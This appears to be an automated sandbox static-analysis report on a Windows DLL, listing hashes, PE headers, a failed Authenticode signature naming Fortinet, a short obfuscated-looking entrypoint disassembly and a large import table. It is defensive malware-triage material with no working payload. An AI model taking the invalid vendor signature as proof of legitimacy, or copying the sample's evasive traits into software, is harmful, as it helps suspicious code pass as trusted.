Preview:	CatalogDB: 7:06:16 PM 11/25/2020: catadnew.cpp at line #553 encountered error 0x00000057..CatalogDB: 7:06:16 PM 11/25/2020: catadnew.cpp at line #553 encountered error 0x00000057..CatalogDB: 7:06:16 PM 11/25/2020: catadnew.cpp at line #1786 encountered error 0x00000057..CatalogDB: 7:06:16 PM 11/25/2020: catadnew.cpp at line #1427 encountered error 0x00000057..CatalogDB: 7:06:16 PM 11/25/2020: catadnew.cpp at line #553 encountered error 0x00000057..CatalogDB: 7:06:16 PM 11/25/2020: catadnew.cpp at line #1427 encountered error 0x00000057..CatalogDB: 7:06:16 PM 11/25/2020: catadnew.cpp at line #1786 encountered error 0x00000057..

Static File Info

General
File type:	MS-DOS executable, MZ for MS-DOS
Entropy (8bit):	6.594484056954573
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% VXD Driver (31/22) 0.00% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	vnaSKDMnLG.dll
File size:	240032
MD5:	c9d954b3f1c512e6804fd8f5637b58b6
SHA1:	b452040d8072117ddbe1adf9e1eab5e4bdb150bd
SHA256:	d7fafabbb381c34185ad30f0d5337ec8072d0705e0e9fb1d91e7358ed934fff3
SHA512:	a4e949017016c1cfaa9bdff664c8ee20b2a34fe78788de9a4338ae5ad9a8a2623ccafe6d4584ef4f6cb29bc05dbcb3a71cbcd4051560287fbe74fb5a5738c09b
SSDEEP:	6144:SCY2oo127AHBPr4CggrMbPMdsf5LLNBU94nzKE:SSD6w4bKsf5PUomE
File Content Preview:	MZ......................................................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................!................a.............@..........................P......x-..............................._..W..

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x40c161
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	ace13c17e53d07ea38e285dca185c74f

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Symantec Class 3 SHA256 Code Signing CA, OU=Symantec Trust Network, O=Symantec Corporation, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	7/29/2015 5:00:00 PM 7/29/2018 4:59:59 PM
Subject Chain	CN=Fortinet Technologies (Canada) Inc., O=Fortinet Technologies (Canada) Inc., L=Burnaby, S=British Columbia, C=CA
Version:	3
Thumbprint MD5:	CED7C13C8B94994AFFCC6AD7B7DF388F
Thumbprint SHA-1:	B27F938A1E7F314A7B60C48EA196961CDAA09F7A
Thumbprint SHA-256:	3C658DDCD37DFA65F69C0B35697EDAA12DBDF68388A9AD54BBEFCF24F786ABB7
Serial:	5755C3BFA958E29EF9DCA3FBA9FC02D4

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 24h
push esi
call dword ptr [0042E620h]
mov dword ptr [ebp-20h], eax
lea ecx, dword ptr [00436978h]
add ecx, 7Ah
xor ecx, dword ptr [004368F8h]
mov dword ptr [ebp-0Ch], ecx
mov ecx, C12769C1h
mov dword ptr [ebp-0Ch], ecx
mov dword ptr [004369D0h], 00000020h
lea esi, dword ptr [00436980h]
add esi, 22h
sub esi, dword ptr [004368F8h]
add esi, 49h
mov dword ptr [0043699Ch], esi
sub dword ptr [004369D0h], 00000001h
cmp dword ptr [004369D0h], 00000000h
jne 00007FC624AC6514h
mov edi, 20469F11h
mov dword ptr [ebp-10h], edi
push 004364A0h
call dword ptr [0042F088h]
mov dword ptr [ebp-14h], eax
mov dword ptr [ebp-1Ch], eax
mov eax, 0000000Ch
xor eax, dword ptr [00436978h]
sub eax, FFFFFFBBh
xor eax, dword ptr [00436980h]
mov dword ptr [0043699Ch], eax
mov eax, A89368FFh
mov dword ptr [00436978h], eax
mov dword ptr [004369D0h], 0000002Ch
lea ecx, dword ptr [004368F8h]
mov dword ptr [ebp-1Ch], ecx
sub dword ptr [004369D0h], 00000001h
cmp dword ptr [004369D0h], 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x15fb0	0x1457	.text
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2f5dc	0x3d4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x38c00	0x1da0	.rdata
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x42000	0x21a0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1284	0x134	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2dd44	0x1610	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x16ed7	0x17000	False	0.575534986413	data	6.34490756797	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x18000	0x297f0	0x1ea00	False	0.581066645408	data	6.05682364771	IMAGE_SCN_TYPE_NO_PAD, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.reloc	0x42000	0x21a0	0x2200	False	0.806295955882	data	6.7989335013	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
advapi32.dll	CryptDeriveKey, CryptImportKey, AllocateAndInitializeSid, CryptGetHashParam, SetSecurityDescriptorOwner, IsValidSid, GetSecurityDescriptorOwner, RegDeleteKeyW, ConvertSecurityDescriptorToStringSecurityDescriptorW, DestroyPrivateObjectSecurity, RegLoadKeyW, CryptExportKey, CryptDecrypt, GetSidLengthRequired, CopySid, ChangeServiceConfigW, GetSecurityDescriptorGroup, BuildExplicitAccessWithNameW, DuplicateTokenEx, EqualSid, CryptGenRandom, IsTextUnicode, GetSecurityDescriptorControl, DeregisterEventSource, QueryTraceW, QueryServiceConfig2W, StopTraceW, RegEnumKeyExA, CryptHashSessionKey, StartServiceW, CryptSetKeyParam, RegOpenKeyExW, RegisterEventSourceW, LsaQueryInformationPolicy, CheckTokenMembership, GetUserNameW, GetSecurityDescriptorLength, ImpersonateLoggedOnUser, RegCreateKeyExA, RegCloseKey, CreatePrivateObjectSecurityEx, InitializeSid, RegNotifyChangeKeyValue, ConvertStringSecurityDescriptorToSecurityDescriptorW, CryptReleaseContext, GetSecurityDescriptorDacl, ReportEventA, CreateWellKnownSid, CreateProcessAsUserW, LsaClose, CryptGetProvParam, GetTokenInformation, GetSecurityDescriptorSacl, RegQueryValueW, LookupPrivilegeDisplayNameW, ConvertStringSecurityDescriptorToSecurityDescriptorA, SetSecurityInfo, CryptDestroyKey, ChangeServiceConfig2W, OpenServiceW, RegFlushKey, CryptDestroyHash, GetSidIdentifierAuthority, SetNamedSecurityInfoW, OpenThreadToken, ConvertSidToStringSidW, RegQueryValueExA, InitializeSecurityDescriptor, CryptEncrypt, GetNamedSecurityInfoW, OpenProcessToken, SetSecurityDescriptorSacl, GetLengthSid, SetSecurityDescriptorDacl, GetTraceLoggerHandle, CryptDuplicateHash, CryptSetProvParam, StartServiceCtrlDispatcherW, ReportEventW, AdjustTokenPrivileges, CryptDuplicateKey, MapGenericMask, CreateServiceW, GetTraceEnableFlags, CryptCreateHash, RegConnectRegistryW, EnableTrace, AddAccessAllowedAce, RegisterServiceCtrlHandlerW, LookupPrivilegeValueW, RegCreateKeyExW, AddAce, QueryServiceStatusEx, InitializeAcl, LookupAccountNameW, CryptGetKeyParam, SetFileSecurityW, TraceEvent, RegSetValueExW, RegOpenKeyA, RegQueryInfoKeyW, RegDeleteValueA, RegOpenKeyW, RegDeleteKeyA, LsaOpenPolicy, GetAclInformation, RegCreateKeyA, StartTraceW, UnregisterTraceGuids, OpenSCManagerW, RegDeleteValueW, RegSetKeySecurity, LsaFreeMemory, GetSidSubAuthorityCount, DeleteService, RegUnLoadKeyW, ControlService, CryptVerifySignatureW, FreeSid, TraceMessage, RegSetValueW, SetServiceStatus, GetSidSubAuthority, RegEnumKeyW, CryptAcquireContextW, QueryServiceConfigW, IsWellKnownSid, CryptSetHashParam, IsValidSecurityDescriptor, RegisterTraceGuidsW, FlushTraceW, RegQueryValueExW, MakeSelfRelativeSD, GetAce, RegCreateKeyW, RegOpenKeyExA, RevertToSelf, CryptHashData, SetThreadToken, RegEnumKeyExW, RegEnumValueW, GetSecurityInfo, QueryServiceStatus, LookupAccountSidW, SetEntriesInAclW, GetTraceEnableLevel, CloseServiceHandle, CryptGenKey, GetFileSecurityW, RegQueryInfoKeyA, RegEnumKeyA, RegSetValueExA
certmgr.dll	DllUnregisterServer
cfgmgr32.dll	CM_Get_DevNode_Status
clusapi.dll	GetNodeClusterState
comctl32.dll	CreatePropertySheetPageW
comdlg32.dll	GetFileTitleA, GetFileTitleW
comsvcs.dll	CosGetCallContext
crypt32.dll	CryptSIPLoad, CertCreateCertificateContext, CertFindExtension, CryptDecodeObject, CertFreeCertificateContext, CryptSIPRetrieveSubjectGuid
dnsapi.dll	DnsValidateName_A
dsuiext.dll	DllUnregisterServer
gdi32.dll	LineTo, CreateFontIndirectA, EnumFontFamiliesA, PolyBezier, GetCharWidthA, GetGlyphOutlineA, GetRegionData, ExtTextOutW, GetTextMetricsA, GetSystemPaletteEntries, OffsetRgn, SetPixel, DeleteObject, SetTextJustification, Polygon, GetOutlineTextMetricsA, SetMapMode, SetPolyFillMode, CreatePalette, CreateFontA, MoveToEx, SetPaletteEntries, RealizePalette, PtInRegion, CreateDIBSection, PatBlt, GetDeviceCaps, EnumFontFamiliesExA, GetCharacterPlacementA, GetObjectW, GetDIBits, GetGlyphOutlineW, GetTextMetricsW, CloseMetaFile, GetTextExtentPoint32A, GetPixel, Ellipse, CreateCompatibleBitmap, GetCharABCWidthsA, GetTextExtentPoint32W, GetRgnBox, SetViewportOrgEx, TranslateCharsetInfo, SelectClipRgn, SelectObject, CreateRectRgn, GetTextAlign, FillRgn, RestoreDC, CreatePen, GetCharacterPlacementW, Rectangle, SetDIBits, CreateSolidBrush, CreateHatchBrush, CreateDCW, SetTextColor, SetBkColor, SetBrushOrgEx, Arc, TextOutA, SelectPalette, BitBlt, SetTextAlign, CombineRgn, SetROP2, GetClipBox, LPtoDP, CreateFontIndirectW, UnrealizeObject, CreateCompatibleDC, CreateBitmap, CreateDIBitmap, Chord, SetBkMode, GetFontLanguageInfo, SetArcDirection, GetSystemPaletteUse, ExtTextOutA, StretchDIBits, SetTextCharacterExtra, SetRectRgn, GetCurrentObject, DeleteMetaFile, SetWindowExtEx, RoundRect, GetObjectA, CreateRectRgnIndirect, SetBitmapBits, SaveDC, CreateMetaFileA, GetTextExtentPointA, GetStockObject, SetDIBColorTable, SetWindowOrgEx, Pie, CreatePatternBrush, CreateBrushIndirect, DeleteDC, CreateDCA
iassvcs.dll	IASVariantChangeType
imm32.dll	ImmEnumRegisterWordA, ImmEnumRegisterWordW
kernel32.dll	CreateThread, IsBadCodePtr, ReadFile, SetLastError, HeapCompact, GetThreadContext, IsValidCodePage, FindResourceExA, HeapFree, MapViewOfFile, GetEnvironmentStrings, ChangeTimerQueueTimer, _llseek, GetStringTypeW, OpenMutexW, CopyFileW, GetCurrentDirectoryW, SetEvent, GetConsoleWindow, FlushFileBuffers, LockResource, FindNextFileA, LCMapStringA, TryEnterCriticalSection, CreateProcessA, ReleaseSemaphore, CreateDirectoryA, GetTempFileNameW, QueryPerformanceFrequency, GlobalUnlock, DeleteCriticalSection, SetErrorMode, GlobalLock, ExitThread, GetDiskFreeSpaceExW, GetSystemTimeAdjustment, CreateFileMappingA, TlsFree, HeapCreate, OutputDebugStringA, lstrcatW, InitAtomTable, GetProcAddress, SystemTimeToFileTime, LeaveCriticalSection, GetLocaleInfoA, GlobalAddAtomA, LocalFree, GetTimeFormatA, GetShortPathNameW, CreateSemaphoreW, GetUserDefaultLCID, WritePrivateProfileStringW, WaitForMultipleObjectsEx, LockFileEx, TerminateProcess, CreateFileMappingW, SetFileAttributesW, GetModuleFileNameA, LocalReAlloc, GetQueuedCompletionStatus, GetDriveTypeW, GetCurrentProcess, HeapSize, WideCharToMultiByte, DeviceIoControl, MoveFileW, lstrcmpW, GetExitCodeThread, GetConsoleScreenBufferInfo, SetEndOfFile, GetUserDefaultUILanguage, ResumeThread, RemoveDirectoryW, FindNextFileW, GlobalReAlloc, PostQueuedCompletionStatus, SetLocalTime, GetModuleFileNameW, GetNumberOfConsoleInputEvents, FindResourceW, GetSystemInfo, lstrcpynW, SetEnvironmentVariableW, DebugBreak, GetDateFormatW, GetPrivateProfileSectionNamesW, GetVersionExW, IsValidLocale, GetThreadLocale, SetCurrentDirectoryA, SetThreadPriority, lstrcmpiA, VirtualQuery, GetStringTypeA, ExitProcess, GetCurrentThreadId, GetSystemTime, GetStartupInfoW, GetLastError, GetEnvironmentVariableA, LoadResource, IsDBCSLeadByteEx, Sleep, FindResourceExW, GetLongPathNameW, TlsGetValue, CreateProcessW, HeapAlloc, DeactivateActCtx, GetSystemWindowsDirectoryA, GetConsoleCP, CreateIoCompletionPort, CreatePipe, FileTimeToSystemTime, SetThreadLocale, GetVersionExA, GlobalHandle, TlsSetValue, GetUserDefaultLangID, GetNumberFormatW, lstrlenW, UnlockFileEx, InitializeCriticalSectionAndSpinCount, HeapReAlloc, GetModuleHandleA, LockFile, VerSetConditionMask, GetCurrentDirectoryA, HeapDestroy, GetFullPathNameW, GetDateFormatA, OpenEventA, InterlockedCompareExchange, OutputDebugStringW, AddAtomA, GetEnvironmentVariableW, SetFilePointerEx, GlobalSize, lstrcpyA, DelayLoadFailureHook, FindResourceA, CreateSemaphoreA, VirtualProtect, UnmapViewOfFile, GetEnvironmentStringsW, GetComputerNameA, GetTimeFormatW, _lopen, OpenMutexA, lstrcatA, _lclose, GetConsoleOutputCP, SetFileAttributesA, lstrcmpA, GetExitCodeProcess, lstrcpyW, FindFirstFileA, GetCommandLineW, SetStdHandle, GetDiskFreeSpaceA, UnlockFile, SizeofResource, IsBadReadPtr, CreateMutexW, GetStdHandle, LoadLibraryExA, SetConsoleCtrlHandler, LocalFileTimeToFileTime, IsBadStringPtrW, SetCurrentDirectoryW, GetStringTypeExW, FreeEnvironmentStringsA, DeleteFileA, WinExec, AllocConsole, lstrcmpiW, GetConsoleMode, InterlockedExchangeAdd, LoadLibraryExW, EnumSystemLocalesA, MoveFileA, PeekConsoleInputA, FileTimeToLocalFileTime, VerifyVersionInfoW, CompareFileTime, DeleteFileW, GetPrivateProfileIntW, _lread, GetACP, WriteConsoleW, FreeEnvironmentStringsW, GetModuleHandleW, GetTimeZoneInformation, GlobalMemoryStatus, GetSystemDirectoryW, _lwrite, ReadConsoleA, lstrcpynA, VirtualProtectEx, WaitForMultipleObjects, GetFullPathNameA, DeleteTimerQueueTimer, CreateFileW, ActivateActCtx, LoadLibraryA, FormatMessageW, CreateTimerQueueTimer, WritePrivateProfileStructW, GetVersion, ReadConsoleInputW, GetProcessHeap, IsBadWritePtr, MultiByteToWideChar, CreateDirectoryW, GlobalAlloc, GetFileAttributesW, GlobalDeleteAtom, LCMapStringW, WritePrivateProfileSectionW, WaitForSingleObjectEx, RtlUnwind, GetLocaleInfoW, GetCPInfo, WaitForSingleObject, FindFirstFileW, MulDiv, FormatMessageA, InterlockedIncrement, FlushInstructionCache, FreeResource, VirtualAlloc, FlushViewOfFile, GetTempPathW, OpenEventW, GetSystemWow64DirectoryW, RaiseException, InitializeCriticalSection, SetThreadAffinityMask, GetFileTime, PeekNamedPipe, CloseHandle, WriteConsoleA, GetSystemDirectoryA, VirtualFree, ExpandEnvironmentStringsA, SetFileTime, SetFilePointer, WriteFile, DuplicateHandle, ResetEvent, SetPriorityClass, GetFileAttributesA, GetTempPathA, CompareStringW, GetFileSize, SetEnvironmentVariableA, DeleteAtom, QueueUserWorkItem, GetWindowsDirectoryW, VirtualQueryEx, GetCommandLineA, _lcreat, SwitchToThread, ReadConsoleW, FindAtomA, FatalAppExitA, GetProcessAffinityMask, ExpandEnvironmentStringsW, ReleaseMutex, LoadLibraryW, CreateEventA, GetOEMCP, SetHandleCount, CompareStringA, SetConsoleMode, GetPrivateProfileStringW, Beep, GetCurrentThread, ReadConsoleInputA, RemoveDirectoryA, CreateEventW, SleepEx, HeapWalk, GetCurrentProcessId, IsDBCSLeadByte, InterlockedExchange, GetBinaryTypeA, PulseEvent, TlsAlloc, OpenFileMappingA, GetLocalTime, TerminateThread, lstrlenA, GetSystemDefaultLangID, GetStartupInfoA, GetTempFileNameA, EnterCriticalSection, CreateMutexA, InterlockedDecrement, CreateActCtxW, GetSystemWindowsDirectoryW, SetUnhandledExceptionFilter, GetPrivateProfileStructW, GetComputerNameW, GetFileInformationByHandle, SystemTimeToTzSpecificLocalTime, QueryPerformanceCounter, GetPrivateProfileSectionW, LocalAlloc, SuspendThread, UnhandledExceptionFilter, CreateFileA, FreeLibrary, FindClose, GlobalFree, IsProcessorFeaturePresent, HeapValidate, OpenProcess, DosDateTimeToFileTime, GetFileType, GetTickCount, IsDebuggerPresent, GetDriveTypeA, ReleaseActCtx, MoveFileExW
licmgr10.dll	DllUnregisterServer
mscat32.dll	CryptCATAdminReleaseContext, CryptCATCatalogInfoFromContext, CryptCATAdminEnumCatalogFromHash, CryptCATAdminAcquireContext
mscms.dll	InstallColorProfileW, GetColorDirectoryW, AssociateColorProfileWithDeviceW
msports.dll	SerialPortPropPageProvider
msvcp60.dll	?_Xlen@std@@YAXXZ, ?nothrow@std@@3Unothrow_t@1@B, ?_Xran@std@@YAXXZ
msvcrt.dll	mktime, modf, strlen, wcsrchr, sqrt, _ultoa, wcstok, _amsg_exit, _fpclass, _mbsnbcpy, mbstowcs, _mbsicmp, _HUGE, wcsncmp, _wsplitpath, iswctype, sscanf, iswspace, _clearfp, memcmp, _onexit, memset, wcsstr, _mbstok, _finite, _unlock, wcscmp, _strtime, iswpunct, fread, atoi, towlower, _wcsicmp, _endthreadex, __dllonexit, _control87, strchr, isspace, _vsnwprintf, realloc, _cexit, _itow, memcpy, _vsnprintf, _aligned_malloc, setlocale, free, localtime, _wmakepath, _wtol, bsearch, _snwprintf, wcstombs, atol, toupper, strrchr, _strdup, wcstol, iswascii, _snprintf, wcstod, __CxxFrameHandler, __getmainargs, strncmp, qsort, isalnum, _aligned_free, _wfindnext, _wcsupr, _controlfp, _tempnam, _fdopen, _ltow, _wtoi, floor, iswdigit, _wfopen, _ftime, calloc, _lock, _strdate, vswprintf, _XcptFilter, wcschr, _strnicmp, memmove, _CxxThrowException, strncpy, _ultow, fflush, longjmp, ceil, _beginthread, cos, printf, _errno, fclose, _mbsncpy, malloc, wcscat, wcscpy, wcsspn, frexp, _mbscpy, _stricmp, _callnewh, strcmp, _findclose, time, __set_app_type, _wcslwr, _wtoi64, __RTDynamicCast, isdigit, _wfindfirst, swprintf, _wchdir, __setusermatherr, ldexp, strstr, isxdigit, wcsncpy, _exit, _iob, iswalpha, _wcsnicmp, sprintf, iswupper, sin, wcstoul, exit, srand, _mbslen, setvbuf, _purecall, wcsncat, __initenv, swscanf, fprintf, tolower, wcslen, isalpha, fopen, _setmbcp, _initterm, rand, ?terminate@@YAXXZ, atof, strncat, _open_osfhandle, _isnan
netapi32.dll	NetShareDel, NetLocalGroupAddMembers, NetLocalGroupDelMembers, NetApiBufferFree, NetUserSetInfo, NetUserDel, NetUserGetLocalGroups, DsGetDcNameW
ntdll.dll	NtCreatePort, NtSetInformationFile, NtSetValueKey, NtFlushVirtualMemory, NtOpenObjectAuditAlarm, NtSetInformationThread, _vsnprintf, NtQueryValueKey, RtlDeleteSecurityObject, RtlGetNtVersionNumbers, towlower, RtlEnterCriticalSection, wcsrchr, RtlFreeHeap, _wcsnicmp, NtUnmapViewOfSection, RtlInitializeCriticalSection, RtlAcquireResourceShared, NtCreateSection, NtReadFile, RtlCopyUnicodeString, _wcsicmp, NtCreateFile, RtlAcquireResourceExclusive, NtReplyWaitReceivePort, NtExtendSection, wcsncmp, NtPrivilegeObjectAuditAlarm, _ltow, RtlAreAllAccessesGranted, NtOpenProcessToken, NtWriteFile, RtlDeregisterWait, RtlDosPathNameToNtPathName_U, NtQuerySystemTime, RtlAllocateAndInitializeSid, NtClose, RtlCompareMemory, RtlCreateHeap, NtAccessCheck, NtOpenKey, RtlFreeAnsiString, RtlUnwind, RtlReleaseResource, RtlFreeUnicodeString, RtlFreeSid, NtCreateEvent, RtlInitializeResource, RtlNtStatusToDosError, NtOpenFile, RtlAnsiStringToUnicodeString, RtlUnicodeStringToAnsiString, NlsMbCodePageTag, RtlLeaveCriticalSection, NtAcceptConnectPort, atol, RtlRaiseStatus, NtAdjustPrivilegesToken, NtDuplicateToken, NtQueryInformationFile, RtlExpandEnvironmentStrings_U, RtlDeleteResource, RtlInitUnicodeString, NtOpenProcess, NtEnumerateKey, RtlCreateUserSecurityObject, RtlxUnicodeStringToAnsiSize, RtlDeleteCriticalSection, RtlTimeToSecondsSince1970, RtlLengthSid, NtPrivilegeCheck, RtlConvertSidToUnicodeString, RtlRegisterWait, NtQueryAttributesFile, NtDuplicateObject, _vsnwprintf, NtPulseEvent, NtMapViewOfSection, NtOpenThreadToken, RtlAllocateHeap, NtNotifyChangeKey, RtlQueueWorkItem, NtCloseObjectAuditAlarm, NtCompleteConnectPort, RtlAdjustPrivilege
occache.dll	FindFirstControl
odbccu32.dll	SQLSetDescRec
ole32.dll	StringFromIID, OleSaveToStream, CoTaskMemFree, CoCreateInstance, PropVariantClear, StringFromGUID2, CoGetMalloc, OleRegEnumVerbs, ComPs_NdrDllUnregisterProxy, StringFromCLSID, CLSIDFromProgID, CreateDataAdviseHolder, OleRegGetMiscStatus, ComPs_NdrDllGetClassObject, CoInitializeEx, CoTaskMemAlloc, CoGetInterceptor, CreateStreamOnHGlobal, StgOpenStorage, CoTaskMemRealloc, CoGetClassObject, CoCreateFreeThreadedMarshaler, CreateBindCtx, WriteClassStm, CoImpersonateClient, CreateOleAdviseHolder, StgOpenStorageEx, ReleaseStgMedium, CoRevertToSelf, ComPs_NdrDllRegisterProxy, CoCreateGuid, CoSetProxyBlanket, CLSIDFromString, CoDisconnectObject, OleRegGetUserType, CoUninitialize, CoInitializeSecurity, CoInitialize
olesvr32.dll	TerminateClients
pdh.dll	PdhParseCounterPathW, PdhBrowseCountersW, PdhTranslateLocaleCounterW, PdhTranslate009CounterW
psapi.dll	GetModuleFileNameExW
rpcrt4.dll	UuidCreateSequential, I_RpcBindingInqLocalClientPID, I_RpcMapWin32Status, IUnknown_AddRef_Proxy, RpcStringBindingParseW, RpcImpersonateClient, UuidCompare, CStdStubBuffer_QueryInterface, NdrDllGetClassObject, RpcBindingFree, RpcBindingToStringBindingW, UuidCreate, NdrServerCall2, UuidCreateNil, CStdStubBuffer_Connect, RpcStringFreeA, NdrOleFree, NdrDllRegisterProxy, NdrDllCanUnloadNow, UuidHash, CStdStubBuffer_AddRef, RpcStringFreeW, CStdStubBuffer_DebugServerRelease, NdrCStdStubBuffer_Release, IUnknown_Release_Proxy, CStdStubBuffer_DebugServerQueryInterface, RpcBindingServerFromClient, RpcServerRegisterIfEx, CStdStubBuffer_IsIIDSupported, RpcServerUseProtseqEpW, CStdStubBuffer_CountRefs, IUnknown_QueryInterface_Proxy, NdrDllUnregisterProxy, UuidFromStringA, RpcRevertToSelf, NdrOleAllocate, CStdStubBuffer_Invoke, UuidToStringA, I_RpcBindingIsClientLocal, UuidToStringW, CStdStubBuffer_Disconnect
rtutils.dll	TraceRegisterExW, TraceVprintfExA, TraceDeregisterW
scecli.dll	SceSvcGetInformationTemplate, SceGetScpProfileDescription, SceRollbackTransaction, SceCopyBaseProfile, SceFreeProfileMemory, SceUpdateSecurityProfile, SceAddToNameStatusList, SceAnalyzeSystem, SceOpenProfile, SceAddToNameList, SceAppendSecurityProfileInfo, SceCompareSecurityDescriptors, SceGetServerProductType, SceFreeMemory, SceCommitTransaction, SceSvcUpdateInfo, SceSvcSetInformationTemplate, SceUpdateObjectInfo, SceCreateDirectory, SceSvcQueryInfo, SceCloseProfile, SceConfigureSystem, SceWriteSecurityProfileInfo, SceStartTransaction, SceEnumerateServices, SceCompareNameList, SceGetObjectSecurity, SceSetupGenerateTemplate, SceGetSecurityProfileInfo, SceSvcFree, SceLookupPrivRightName, SceSvcConvertTextToSD, SceGetObjectChildren
secur32.dll	LsaRegisterPolicyChangeNotification, DeleteSecurityPackageA
setupapi.dll	SetupTermDefaultQueueCallback, SetupDiGetDeviceInfoListDetailW, SetupCommitFileQueueW, SetupOpenAppendInfFileW, SetupDiCreateDevRegKeyW, SetupDiCreateDeviceInterfaceW, SetupOpenInfFileW, SetupInstallFromInfSectionW, SetupCloseInfFile, SetupInstallServicesFromInfSectionW, SetupGetMultiSzFieldW, SetupDiGetDeviceInterfaceDetailW, SetupGetIntField, SetupDiGetWizardPage, SetupDiSetSelectedDevice, SetupDiOpenDeviceInterfaceRegKey, SetupQueryInfFileInformationW, SetupOpenFileQueue, SetupDiGetDriverInstallParamsW, SetupQueryInfVersionInformationW, SetupDiCreateDeviceInfoList, SetupDiDeleteDeviceInterfaceRegKey, SetupFindNextMatchLineW, SetupFindFirstLineW, SetupDiGetClassDevsW, SetupDiCreateDeviceInfoW, SetupDiClassGuidsFromNameW, SetupDiGetClassInstallParamsW, SetupDiEnumDriverInfoW, SetupInitDefaultQueueCallbackEx, SetupDiRemoveDeviceInterface, SetupSetDirectoryIdW, SetupDiDeleteDevRegKey, SetupDiGetSelectedDevice, SetupDiGetDeviceInstallParamsW, SetupDiEnumDeviceInterfaces, SetupDiEnumDeviceInfo, SetupDiGetDriverInfoDetailW, SetupDiOpenClassRegKeyExW, SetupQueryInfOriginalFileInformationW, SetupInitDefaultQueueCallback, SetupDiGetActualSectionToInstallW, SetupDiRegisterDeviceInfo, SetupDiCreateDeviceInterfaceRegKeyW, SetupDiGetSelectedDriverW, SetupCloseFileQueue, SetupDiOpenDevRegKey, SetupSetPlatformPathOverrideW, SetupDiCallClassInstaller, SetupGetLineByIndexW, CM_Get_Device_ID_ExW, SetupInstallFilesFromInfSectionW, SetupScanFileQueueW, SetupFindNextLine, SetupGetLineCountW, SetupGetInfInformationW, SetupDiSetDriverInstallParamsW, SetupDefaultQueueCallbackW, SetupDiDestroyDeviceInfoList, SetupDiSetDeviceInstallParamsW, SetupDiGetDeviceRegistryPropertyW, SetupDiRemoveDevice, SetupDiInstallDevice, SetupDiClassNameFromGuidW, SetupGetStringFieldW, SetupDiSetClassInstallParamsW
shell32.dll	SHBrowseForFolderW, CommandLineToArgvW, SHGetDesktopFolder, ShellExecuteW, SHGetPathFromIDListW, ExtractIconExW, SHGetFolderPathW, SHChangeNotify, SHSetLocalizedName, SHParseDisplayName, ShellExecuteExW, SHGetSettings, SHBindToParent, SHGetFileInfoW, SHGetSpecialFolderPathW, SHGetSpecialFolderLocation, SHGetMalloc
shlwapi.dll	PathFindFileNameW, SHQueryValueExW, SHGetThreadRef, StrCmpIW, PathIsDirectoryEmptyW, PathRemoveBlanksW, StrFormatByteSizeW, StrRChrW, StrToIntW, PathFileExistsW, PathIsDirectoryW, StrFormatKBSizeW, AssocCreate, PathAppendW, SHStrDupW, PathCombineW, PathRemoveFileSpecW, PathIsRelativeA, StrRetToBufW, StrDupW, PathFindExtensionW, StrCmpW, StrCmpLogicalW, PathGetDriveNumberW
tapi32.dll	lineGetTranslateCapsW, lineShutdown, lineInitialize, lineTranslateAddressW
urlmon.dll	CoGetClassObjectFromURL, HlinkSimpleNavigateToString, URLOpenStreamA, URLOpenBlockingStreamA, CreateAsyncBindCtx
